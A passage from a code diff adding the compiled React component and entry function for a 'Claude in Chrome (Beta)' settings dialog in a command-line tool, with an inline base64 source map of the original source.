+    t9 = !isDisabled && <>{!isHomespace && <Box flexDirection="column"><Text>Status:{" "}{isConnected ? <Text color="success">Enabled</Text> : <Text color="inactive">Disabled</Text>}</Text><Text>Extension:{" "}{isExtensionInstalled ? <Text color="success">Installed</Text> : <Text color="warning">Not detected</Text>}</Text></Box>}<Select key={selectKey} options={options} onChange={handleAction} hideIndexes={true} />{showInstallHint && <Text color="warning">Once installed, select {"\"Reconnect extension\""} to connect.</Text>}<Text><Text dimColor={true}>Usage: </Text><Text>claude --chrome</Text><Text dimColor={true}> or </Text><Text>claude --no-chrome</Text></Text><Text dimColor={true}>Site-level permissions are inherited from the Chrome extension. Manage permissions in the Chrome extension settings to control which sites Claude can browse, click, and type on.</Text></>;
+    $[25] = handleAction;
+    $[26] = isConnected;
+    $[27] = isDisabled;
+    $[28] = isExtensionInstalled;
+    $[29] = options;
+    $[30] = selectKey;
+    $[31] = showInstallHint;
+    $[32] = t9;
+  } else {
+    t9 = $[32];
+  }
+  let t10;
+  if ($[33] === Symbol.for("react.memo_cache_sentinel")) {
+    t10 = <Text dimColor={true}>Learn more: https://code.claude.com/docs/en/chrome</Text>;
+    $[33] = t10;
+  } else {
+    t10 = $[33];
+  }
+  let t11;
+  if ($[34] !== t7 || $[35] !== t8 || $[36] !== t9) {
+    t11 = <Box flexDirection="column" gap={1}>{t6}{t7}{t8}{t9}{t10}</Box>;
+    $[34] = t7;
+    $[35] = t8;
+    $[36] = t9;
+    $[37] = t11;
+  } else {
+    t11 = $[37];
+  }
+  let t12;
+  if ($[38] !== t11 || $[39] !== t5) {
+    t12 = <Dialog title="Claude in Chrome (Beta)" onCancel={t5} color="chromeYellow">{t11}</Dialog>;
+    $[38] = t11;
+    $[39] = t5;
+    $[40] = t12;
+  } else {
+    t12 = $[40];
+  }
+  return t12;
+}
+function _temp5(k) {
+  return k + 1;
+}
+function _temp4(k_0) {
+  return k_0 + 1;
+}
+function _temp3(k_1) {
+  return k_1 + 1;
+}
+function _temp2(c) {
+  return c.name === CLAUDE_IN_CHROME_MCP_SERVER_NAME;
+}
+function _temp(s) {
+  return s.mcp.clients;
+}
+export const call = async function (onDone: (result?: string) => void): Promise<React.ReactNode> {
+  const isExtensionInstalled = await isChromeExtensionInstalled();
+  const config = getGlobalConfig();
+  const isSubscriber = isClaudeAISubscriber();
+  const isWSL = env.isWslEnvironment();
+  return <ClaudeInChromeMenu onDone={onDone} isExtensionInstalled={isExtensionInstalled} configEnabled={config.claudeInChromeDefaultEnabled} isClaudeAISubscriber={isSubscriber} isWSL={isWSL} />;
+};
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJSZWFjdCIsInVzZVN0YXRlIiwiT3B0aW9uV2l0aERlc2NyaXB0aW9uIiwiU2VsZWN0IiwiRGlhbG9nIiwiQm94IiwiVGV4dCIsInVzZUFwcFN0YXRlIiwiaXNDbGF1ZGVBSVN1YnNjcmliZXIiLCJvcGVuQnJvd3NlciIsIkNMQVVERV9JTl9DSFJPTUVfTUNQX1NFUlZFUl9OQU1FIiwib3BlbkluQ2hyb21lIiwiaXNDaHJvbWVFeHRlbnNpb25JbnN0YWxsZWQiLCJnZXRHbG9iYWxDb25maWciLCJzYXZlR2xvYmFsQ29uZmlnIiwiZW52IiwiaXNSdW5uaW5nT25Ib21lc3BhY2UiLCJDSFJPTUVfRVhURU5TSU9OX1VSTCIsIkNIUk9NRV9QRVJNSVNTSU9OU19VUkwiLCJDSFJPTUVfUkVDT05ORUNUX1VSTCIsIk1lbnVBY3Rpb24iLCJQcm9wcyIsIm9uRG9uZSIsInJlc3VsdCIsImlzRXh0ZW5zaW9uSW5zdGFsbGVkIiwiY29uZmlnRW5hYmxlZCIsImlzV1NMIiwiQ2xhdWRlSW5DaHJvbWVNZW51IiwidDAiLCIkIiwiX2MiLCJpbnN0YWxsZWQiLCJtY3BDbGllbnRzIiwiX3RlbXAiLCJzZWxlY3RLZXkiLCJzZXRTZWxlY3RLZXkiLCJlbmFibGVkQnlEZWZhdWx0Iiwic2V0RW5hYmxlZEJ5RGVmYXVsdCIsInNob3dJbnN0YWxsSGludCIsInNldFNob3dJbnN0YWxsSGludCIsInNldElzRXh0ZW5zaW9uSW5zdGFsbGVkIiwidDEiLCJTeW1ib2wiLCJmb3IiLCJpc0hvbWVzcGFjZSIsInQyIiwiZmluZCIsIl90ZW1wMiIsImNocm9tZUNsaWVudCIsImlzQ29ubmVjdGVkIiwidHlwZSIsInQzIiwib3BlblVybCIsInVybCIsInQ0IiwiaGFuZGxlQWN0aW9uIiwiYWN0aW9uIiwiYmIyMiIsIl90ZW1wMyIsIl90ZW1wNCIsInRoZW4iLCJpbnN0YWxsZWRfMCIsIl90ZW1wNSIsIm5ld1ZhbHVlIiwiY3VycmVudCIsImNsYXVkZUluQ2hyb21lRGVmYXVsdEVuYWJsZWQiLCJvcHRpb25zIiwicmVxdWlyZXNFeHRlbnNpb25TdWZmaXgiLCJ0NSIsImxhYmVsIiwidmFsdWUiLCJwdXNoIiwidDYiLCJ0NyIsInQ4IiwidDkiLCJ0MTAiLCJpc0Rpc2FibGVkIiwidDExIiwidDEyIiwiayIsImtfMCIsImtfMSIsImMiLCJuYW1lIiwicyIsIm1jcCIsImNsaWVudHMiLCJjYWxsIiwiUHJvbWlzZSIsIlJlYWN0Tm9kZSIsImNvbmZpZyIsImlzU3Vic2NyaWJlciIsImlzV3NsRW52aXJvbm1lbnQiXSwic291cmNlcyI6WyJjaHJvbWUudHN4Il0sInNvdXJjZXNDb250ZW50IjpbImltcG9ydCBSZWFjdCwgeyB1c2VTdGF0ZSB9IGZyb20gJ3JlYWN0J1xuaW1wb3J0IHtcbiAgdHlwZSBPcHRpb25XaXRoRGVzY3JpcHRpb24sXG4gIFNlbGVjdCxcbn0gZnJvbSAnLi4vLi4vY29tcG9uZW50cy9DdXN0b21TZWxlY3Qvc2VsZWN0LmpzJ1xuaW1wb3J0IHsgRGlhbG9nIH0gZnJvbSAnLi4vLi4vY29tcG9uZW50cy9kZXNpZ24tc3lzdGVtL0RpYWxvZy5qcydcbmltcG9ydCB7IEJveCwgVGV4dCB9IGZyb20gJy4uLy4uL2luay5qcydcbmltcG9ydCB7IHVzZUFwcFN0YXRlIH0gZnJvbSAnLi4vLi4vc3RhdGUvQXBwU3RhdGUuanMnXG5pbXBvcnQgeyBpc0NsYXVkZUFJU3Vic2NyaWJlciB9IGZyb20gJy4uLy4uL3V0aWxzL2F1dGguanMnXG5pbXBvcnQgeyBvcGVuQnJvd3NlciB9IGZyb20gJy4uLy4uL3V0aWxzL2Jyb3dzZXIuanMnXG5pbXBvcnQge1xuICBDTEFVREVfSU5fQ0hST01FX01DUF9TRVJWRVJfTkFNRSxcbiAgb3BlbkluQ2hyb21lLFxufSBmcm9tICcuLi8uLi91dGlscy9jbGF1ZGVJbkNocm9tZS9jb21tb24uanMnXG5pbXBvcnQgeyBpc0Nocm9tZUV4dGVuc2lvbkluc3RhbGxlZCB9IGZyb20gJy4uLy4uL3V0aWxzL2NsYXVkZUluQ2hyb21lL3NldHVwLmpzJ1xuaW1wb3J0IHsgZ2V0R2xvYmFsQ29uZmlnLCBzYXZlR2xvYmFsQ29uZmlnIH0gZnJvbSAnLi4vLi4vdXRpbHMvY29uZmlnLmpzJ1xuaW1wb3J0IHsgZW52IH0gZnJvbSAnLi4vLi4vdXRpbHMvZW52LmpzJ1xuaW1wb3J0IHsgaXNSdW5uaW5nT25Ib21lc3BhY2UgfSBmcm9tICcuLi8uLi91dGlscy9lbnZVdGlscy5qcydcblxuY29uc3QgQ0hST01FX0VYVEVOU0lPTl9VUkwgPSAnaHR0cHM6Ly9jbGF1ZGUuYWkvY2hyb21lJ1xuY29uc3QgQ0hST01FX1BFUk1JU1NJT05TX1VSTCA9ICdodHRwczovL2NsYXUuZGUvY2hyb21lL3Blcm1pc3Npb25zJ1xuY29uc3QgQ0hST01FX1JFQ09OTkVDVF9VUkwgPSAnaHR0cHM6Ly9jbGF1LmRlL2Nocm9tZS9yZWNvbm5lY3QnXG5cbnR5cGUgTWVudUFjdGlvbiA9XG4gIHwgJ2luc3RhbGwtZXh0ZW5zaW9uJ1xuICB8ICdyZWNvbm5lY3QnXG4gIHwgJ21hbmFnZS1wZXJtaXNzaW9ucydcbiAgfCAndG9nZ2xlLWRlZmF1bHQnXG5cbnR5cGUgUHJvcHMgPSB7XG4gIG9uRG9uZTogKHJlc3VsdD86IHN0cmluZykgPT4gdm9pZFxuICBpc0V4dGVuc2lvbkluc3RhbGxlZDogYm9vbGVhblxuICBjb25maWdFbmFibGVkOiBib29sZWFuIHwgdW5kZWZpbmVkXG4gIGlzQ2xhdWRlQUlTdWJzY3JpYmVyOiBib29sZWFuXG4gIGlzV1NMOiBib29sZWFuXG59XG5cbmZ1bmN0aW9uIENsYXVkZUluQ2hyb21lTWVudSh7XG4gIG9uRG9uZSxcbiAgaXNFeHRlbnNpb25JbnN0YWxsZWQ6IGluc3RhbGxlZCxcbiAgY29uZmlnRW5hYmxlZCxcbiAgaXNDbGF1ZGVBSVN1YnNjcmliZXIsXG4gIGlzV1NMLFxufTogUHJvcHMpOiBSZWFjdC5SZWFjdE5vZGUge1xuICBjb25zdCBtY3BDbGllbnRzID0gdXNlQXBwU3RhdGUocyA9PiBzLm1jcC5jbGllbnRzKVxuICBjb25zdCBbc2VsZWN0S2V5LCBzZXRTZWxlY3RLZXldID0gdXNlU3RhdGUoMClcbiAgY29uc3QgW2VuYWJsZWRCeURlZmF1bHQsIHNldEVuYWJsZWRCeURlZmF1bHRdID0gdXNlU3RhdGUoXG4gICAgY29uZmlnRW5hYmxlZCA/PyBmYWxzZSxcbiAgKVxuICBjb25zdCBbc2hvd0luc3RhbGxIaW50LCBzZXRTaG93SW5zdGFsbEhpbnRdID0gdXNlU3RhdGUoZmFsc2UpXG4gIGNvbnN0IFtpc0V4dGVuc2lvbkluc3RhbGxlZCwgc2V0SXNFeHRlbnNpb25JbnN0YWxsZWRdID0gdXNlU3RhdGUoaW5zdGFsbGVkKVxuXG4gIGNvbnN0IGlzSG9tZXNwYWNlID0gXCJleHRlcm5hbFwiID09PSAnYW50JyAmJiBpc1J1bm5pbmdPbkhvbWVzcGFjZSgpXG5cbiAgY29uc3QgY2hyb21lQ2xpZW50ID0gbWNwQ2xpZW50cy5maW5kKFxuICAgIGMgPT4gYy5uYW1lID09PSBDTEFVREVfSU5fQ0hST01FX01DUF9TRVJWRVJfTkFNRSxcbiAgKVxuICBjb25zdCBpc0Nvbm5lY3RlZCA9IGNocm9tZUNsaWVudD8udHlwZSA9PT0gJ2Nvbm5lY3RlZCdcblxuICBmdW5jdGlvbiBvcGVuVXJsKHVybDogc3RyaW5nKTogdm9pZCB7XG4gICAgaWYgKGlzSG9tZXNwYWNlKSB7XG4gICAgICB2b2lkIG9wZW5Ccm93c2VyKHVybClcbiAgICB9IGVsc2Uge1xuICAgICAgdm9pZCBvcGVuSW5DaHJvbWUodXJsKVxuICAgIH1cbiAgfVxuXG4gIGZ1bmN0aW9uIGhhbmRsZUFjdGlvbihhY3Rpb246IE1lbnVBY3Rpb24pOiB2b2lkIHtcbiAgICBzd2l0Y2ggKGFjdGlvbikge1xuICAgICAgY2FzZSAnaW5zdGFsbC1leHRlbnNpb24nOlxuICAgICAgICBzZXRTZWxlY3RLZXkoayA9PiBrICsgMSlcbiAgICAgICAgc2V0U2hvd0luc3RhbGxIaW50KHRydWUpXG4gICAgICAgIG9wZW5VcmwoQ0hST01FX0VYVEVOU0lPTl9VUkwpXG4gICAgICAgIGJyZWFrXG4gICAgICBjYXNlICdyZWNvbm5lY3QnOlxuICAgICAgICBzZXRTZWxlY3RLZXkoayA9PiBrICsgMSlcbiAgICAgICAgdm9pZCBpc0Nocm9tZUV4dGVuc2lvbkluc3RhbGxlZCgpLnRoZW4oaW5zdGFsbGVkID0+IHtcbiAgICAgICAgICBzZXRJc0V4dGVuc2lvbkluc3RhbGxlZChpbnN0YWxsZWQpXG4gICAgICAgICAgaWYgKGluc3RhbGxlZCkge1xuICAgICAgICAgICAgc2V0U2hvd0luc3RhbGxIaW50KGZhbHNlKVxuICAgICAgICAgIH1cbiAgICAgICAgfSlcbiAgICAgICAgb3BlblVybChDSFJPTUVfUkVDT05ORUNUX1VSTClcbiAgICAgICAgYnJlYWtcbiAgICAgIGNhc2UgJ21hbmFnZS1wZXJtaXNzaW9ucyc6XG4gICAgICAgIHNldFNlbGVjdEtleShrID0+IGsgKyAxKVxuICAgICAgICBvcGVuVXJsKENIUk9NRV9QRVJNSVNTSU9OU19VUkwpXG4gICAgICAgIGJyZWFrXG4gICAgICBjYXNlICd0b2dnbGUtZGVmYXVsdCc6IHtcbiAgICAgICAgY29uc3QgbmV3VmFsdWUgPSAhZW5hYmxlZEJ5RGVmYXVsdFxuICAgICAgICBzYXZlR2xvYmFsQ29uZmlnKGN1cnJlbnQgPT4gKHtcbiAgICAgICAgICAuLi5jdXJyZW50LFxuICAgICAgICAgIGNsYXVkZUluQ2hyb21lRGVmYXVsdEVuYWJsZWQ6IG5ld1ZhbHVlLFxuICAgICAgICB9KSlcbiAgICAgICAgc2V0RW5hYmxlZEJ5RGVmYXVsdChuZXdWYWx1ZSlcbiAgICAgICAgYnJlYWtcbiAgICAgIH1cbiAgICB9XG4gIH1cblxuICBjb25zdCBvcHRpb25zOiBPcHRpb25XaXRoRGVzY3JpcHRpb248TWVudUFjdGlvbj5bXSA9IFtdXG4gIGNvbnN0IHJlcXVpcmVzRXh0ZW5zaW9uU3VmZml4ID0gaXNFeHRlbnNpb25JbnN0YWxsZWRcbiAgICA/ICcnXG4gICAgOiAnIChyZXF1aXJlcyBleHRlbnNpb24pJ1xuXG4gIGlmICghaXNFeHRlbnNpb25JbnN0YWxsZWQgJiYgIWlzSG9tZXNwYWNlKSB7XG4gICAgb3B0aW9ucy5wdXNoKHtcbiAgICAgIGxhYmVsOiAnSW5zdGFsbCBDaHJvbWUgZXh0ZW5zaW9uJyxcbiAgICAgIHZhbHVlOiAnaW5zdGFsbC1leHRlbnNpb24nLFxuICAgIH0pXG4gIH1cblxuICBvcHRpb25zLnB1c2goXG4gICAge1xuICAgICAgbGFiZWw6IChcbiAgICAgICAgPD5cbiAgICAgICAgICA8VGV4dD5NYW5hZ2UgcGVybWlzc2lvbnM8L1RleHQ+XG4gICAgICAgICAgPFRleHQgZGltQ29sb3I+e3JlcXVpcmVzRXh0ZW5zaW9uU3VmZml4fTwvVGV4dD5cbiAgICAgICAgPC8+XG4gICAgICApLFxuICAgICAgdmFsdWU6ICdtYW5hZ2UtcGVybWlzc2lvbnMnLFxuICAgIH0sXG4gICAge1xuICAgICAgbGFiZWw6IChcbiAgICAgICAgPD5cbiAgICAgICAgICA8VGV4dD5SZWNvbm5lY3QgZXh0ZW5zaW9uPC9UZXh0PlxuICAgICAgICAgIDxUZXh0IGRpbUNvbG9yPntyZXF1aXJlc0V4dGVuc2lvblN1ZmZpeH08L1RleHQ+XG4gICAgICAgIDwvPlxuICAgICAgKSxcbiAgICAgIHZhbHVlOiAncmVjb25uZWN0JyxcbiAgICB9LFxuICAgIHtcbiAgICAgIGxhYmVsOiBgRW5hYmxlZCBieSBkZWZhdWx0OiAke2VuYWJsZWRCeURlZmF1bHQgPyAnWWVzJyA6ICdObyd9YCxcbiAgICAgIHZhbHVlOiAndG9nZ2xlLWRlZmF1bHQnLFxuICAgIH0sXG4gIClcblxuICBjb25zdCBpc0Rpc2FibGVkID1cbiAgICBpc1dTTCB8fCAoXCJleHRlcm5hbFwiICE9PSAnYW50JyAmJiAhaXNDbGF1ZGVBSVN1YnNjcmliZXIpXG5cbiAgcmV0dXJuIChcbiAgICA8RGlhbG9nXG4gICAgICB0aXRsZT1cIkNsYXVkZSBpbiBDaHJvbWUgKEJldGEpXCJcbiAgICAgIG9uQ2FuY2VsPXsoKSA9PiBvbkRvbmUoKX1cbiAgICAgIGNvbG9yPVwiY2hyb21lWWVsbG93XCJcbiAgICA+XG4gICAgICA8Qm94IGZsZXhEaXJlY3Rpb249XCJjb2x1bW5cIiBnYXA9ezF9PlxuICAgICAgICA8VGV4dD5cbiAgICAgICAgICBDbGF1ZGUgaW4gQ2hyb21lIHdvcmtzIHdpdGggdGhlIENocm9tZSBleHRlbnNpb24gdG8gbGV0IHlvdSBjb250cm9sXG4gICAgICAgICAgeW91ciBicm93c2VyIGRpcmVjdGx5IGZyb20gQ2xhdWRlIENvZGUuIE5hdmlnYXRlIHdlYnNpdGVzLCBmaWxsIGZvcm1zLFxuICAgICAgICAgIGNhcHR1cmUgc2NyZWVuc2hvdHMsIHJlY29yZCBHSUZzLCBhbmQgZGVidWcgd2l0aCBjb25zb2xlIGxvZ3MgYW5kXG4gICAgICAgICAgbmV0d29yayByZXF1ZXN0cy5cbiAgICAgICAgPC9UZXh0PlxuXG4gICAgICAgIHtpc1dTTCAmJiAoXG4gICAgICAgICAgPFRleHQgY29sb3I9XCJlcnJvclwiPlxuICAgICAgICAgICAgQ2xhdWRlIGluIENocm9tZSBpcyBub3Qgc3VwcG9ydGVkIGluIFdTTCBhdCB0aGlzIHRpbWUuXG4gICAgICAgICAgPC9UZXh0PlxuICAgICAgICApfVxuXG5cbiAgICAgICAge1wiZXh0ZXJuYWxcIiAhPT0gJ2FudCcgJiYgIWlzQ2xhdWRlQUlTdWJzY3JpYmVyICYmIChcbiAgICAgICAgICA8VGV4dCBjb2xvcj1cImVycm9yXCI+XG4gICAgICAgICAgICBDbGF1ZGUgaW4gQ2hyb21lIHJlcXVpcmVzIGEgY2xhdWRlLmFpIHN1YnNjcmlwdGlvbi5cbiAgICAgICAgICA8L1RleHQ+XG4gICAgICAgICl9XG5cbiAgICAgICAgeyFpc0Rpc2FibGVkICYmIChcbiAgICAgICAgICA8PlxuICAgICAgICAgICAgeyFpc0hvbWVzcGFjZSAmJiAoXG4gICAgICAgICAgICAgIDxCb3ggZmxleERpcmVjdGlvbj1cImNvbHVtblwiPlxuICAgICAgICAgICAgICAgIDxUZXh0PlxuICAgICAgICAgICAgICAgICAgU3RhdHVzOnsnICd9XG4gICAgICAgICAgICAgICAgICB7aXNDb25uZWN0ZWQgPyAoXG4gICAgICAgICAgICAgICAgICAgIDxUZXh0IGNvbG9yPVwic3VjY2Vzc1wiPkVuYWJsZWQ8L1RleHQ+XG4gICAgICAgICAgICAgICAgICApIDogKFxuICAgICAgICAgICAgICAgICAgICA8VGV4dCBjb2xvcj1cImluYWN0aXZlXCI+RGlzYWJsZWQ8L1RleHQ+XG4gICAgICAgICAgICAgICAgICApfVxuICAgICAgICAgICAgICAgIDwvVGV4dD5cbiAgICAgICAgICAgICAgICA8VGV4dD5cbiAgICAgICAgICAgICAgICAgIEV4dGVuc2lvbjp7JyAnfVxuICAgICAgICAgICAgICAgICAge2lzRXh0ZW5zaW9uSW5zdGFsbGVkID8gKFxuICAgICAgICAgICAgICAgICAgICA8VGV4dCBjb2xvcj1cInN1Y2Nlc3NcIj5JbnN0YWxsZWQ8L1RleHQ+XG4gICAgICAgICAgICAgICAgICApIDogKFxuICAgICAgICAgICAgICAgICAgICA8VGV4dCBjb2xvcj1cIndhcm5pbmdcIj5Ob3QgZGV0ZWN0ZWQ8L1RleHQ+XG4gICAgICAgICAgICAgICAgICApfVxuICAgICAgICAgICAgICAgIDwvVGV4dD5cbiAgICAgICAgICAgICAgPC9Cb3g+XG4gICAgICAgICAgICApfVxuICAgICAgICAgICAgPFNlbGVjdFxuICAgICAgICAgICAgICBrZXk9e3NlbGVjdEtleX1cbiAgICAgICAgICAgICAgb3B0aW9ucz17b3B0aW9uc31cbiAgICAgICAgICAgICAgb25DaGFuZ2U9e2hhbmRsZUFjdGlvbn1cbiAgICAgICAgICAgICAgaGlkZUluZGV4ZXNcbiAgICAgICAgICAgIC8+XG5cbiAgICAgICAgICAgIHtzaG93SW5zdGFsbEhpbnQgJiYgKFxuICAgICAgICAgICAgICA8VGV4dCBjb2xvcj1cIndhcm5pbmdcIj5cbiAgICAgICAgICAgICAgICBPbmNlIGluc3RhbGxlZCwgc2VsZWN0IHsnXCJSZWNvbm5lY3QgZXh0ZW5zaW9uXCInfSB0byBjb25uZWN0LlxuICAgICAgICAgICAgICA8L1RleHQ+XG4gICAgICAgICAgICApfVxuXG4gICAgICAgICAgICA8VGV4dD5cbiAgICAgICAgICAgICAgPFRleHQgZGltQ29sb3I+VXNhZ2U6IDwvVGV4dD5cbiAgICAgICAgICAgICAgPFRleHQ+Y2xhdWRlIC0tY2hyb21lPC9UZXh0PlxuICAgICAgICAgICAgICA8VGV4dCBkaW1Db2xvcj4gb3IgPC9UZXh0PlxuICAgICAgICAgICAgICA8VGV4dD5jbGF1ZGUgLS1uby1jaHJvbWU8L1RleHQ+XG4gICAgICAgICAgICA8L1RleHQ+XG5cbiAgICAgICAgICAgIDxUZXh0IGRpbUNvbG9yPlxuICAgICAgICAgICAgICBTaXRlLWxldmVsIHBlcm1pc3Npb25zIGFyZSBpbmhlcml0ZWQgZnJvbSB0aGUgQ2hyb21lIGV4dGVuc2lvbi5cbiAgICAgICAgICAgICAgTWFuYWdlIHBlcm1pc3Npb25zIGluIHRoZSBDaHJvbWUgZXh0ZW5zaW9uIHNldHRpbmdzIHRvIGNvbnRyb2xcbiAgICAgICAgICAgICAgd2hpY2ggc2l0ZXMgQ2xhdWRlIGNhbiBicm93c2UsIGNsaWNrLCBhbmQgdHlwZSBvbi5cbiAgICAgICAgICAgIDwvVGV4dD5cbiAgICAgICAgICA8Lz5cbiAgICAgICAgKX1cbiAgICAgICAgPFRleHQgZGltQ29sb3I+TGVhcm4gbW9yZTogaHR0cHM6Ly9jb2RlLmNsYXVkZS5jb20vZG9jcy9lbi9jaHJvbWU8L1RleHQ+XG4gICAgICA8L0JveD5cbiAgICA8L0RpYWxvZz5cbiAgKVxufVxuXG5leHBvcnQgY29uc3QgY2FsbCA9IGFzeW5jIGZ1bmN0aW9uIChcbiAgb25Eb25lOiAocmVzdWx0Pzogc3RyaW5nKSA9PiB2b2lkLFxuKTogUHJvbWlzZTxSZWFjdC5SZWFjdE5vZGU+IHtcbiAgY29uc3QgaXNFeHRlbnNpb25JbnN0YWxsZWQgPSBhd2FpdCBpc0Nocm9tZUV4dGVuc2lvbkluc3RhbGxlZCgpXG4gIGNvbnN0IGNvbmZpZyA9IGdldEdsb2JhbENvbmZpZygpXG4gIGNvbnN0IGlzU3Vic2NyaWJlciA9IGlzQ2xhdWRlQUlTdWJzY3JpYmVyKClcbiAgY29uc3QgaXNXU0wgPSBlbnYuaXNXc2xFbnZpcm9ubWVudCgpXG5cbiAgcmV0dXJuIChcbiAgICA8Q2xhdWRlSW5DaHJvbWVNZW51XG4gICAgICBvbkRvbmU9e29uRG9uZX1cbiAgICAgIGlzRXh0ZW5zaW9uSW5zdGFsbGVkPXtpc0V4dGVuc2lvbkluc3RhbGxlZH1cbiAgICAgIGNvbmZpZ0VuYWJsZWQ9e2NvbmZpZy5jbGF1ZGVJbkNocm9tZURlZmF1bHRFbmFibGVkfVxuICAgICAgaXNDbGF1ZGVBSVN1YnNjcmliZXI9e2lzU3Vic2NyaWJlcn1cbiAgICAgIGlzV1NMPXtpc1dTTH1cbiAgICAvPlxuICApXG59XG4iXSwibWFwcGluZ3MiOiI7QUFBQSxPQUFPQSxLQUFLLElBQUlDLFFBQVEsUUFBUSxPQUFPO0FBQ3ZDLFNBQ0UsS0FBS0MscUJBQXFCLEVBQzFCQyxNQUFNLFFBQ0QseUNBQXlDO0FBQ2hELFNBQVNDLE1BQU0sUUFBUSwwQ0FBMEM7QUFDakUsU0FBU0MsR0FBRyxFQUFFQyxJQUFJLFFBQVEsY0FBYztBQUN4QyxTQUFTQyxXQUFXLFFBQVEseUJBQXlCO0FBQ3JELFNBQVNDLG9CQUFvQixRQUFRLHFCQUFxQjtBQUMxRCxTQUFTQyxXQUFXLFFBQVEsd0JBQXdCO0FBQ3BELFNBQ0VDLGdDQUFnQyxFQUNoQ0MsWUFBWSxRQUNQLHNDQUFzQztBQUM3QyxTQUFTQywwQkFBMEIsUUFBUSxxQ0FBcUM7QUFDaEYsU0FBU0MsZUFBZSxFQUFFQyxnQkFBZ0IsUUFBUSx1QkFBdUI7QUFDekUsU0FBU0MsR0FBRyxRQUFRLG9CQUFvQjtBQUN4QyxTQUFTQyxvQkFBb0IsUUFBUSx5QkFBeUI7QUFFOUQsTUFBTUMsb0JBQW9CLEdBQUcsMEJBQTBCO0FBQ3ZELE1BQU1DLHNCQUFzQixHQUFHLG9DQUFvQztBQUNuRSxNQUFNQyxvQkFBb0IsR0FBRyxrQ0FBa0M7QUFFL0QsS0FBS0MsVUFBVSxHQUNYLG1CQUFtQixHQUNuQixXQUFXLEdBQ1gsb0JBQW9CLEdBQ3BCLGdCQUFnQjtBQUVwQixLQUFLQyxLQUFLLEdBQUc7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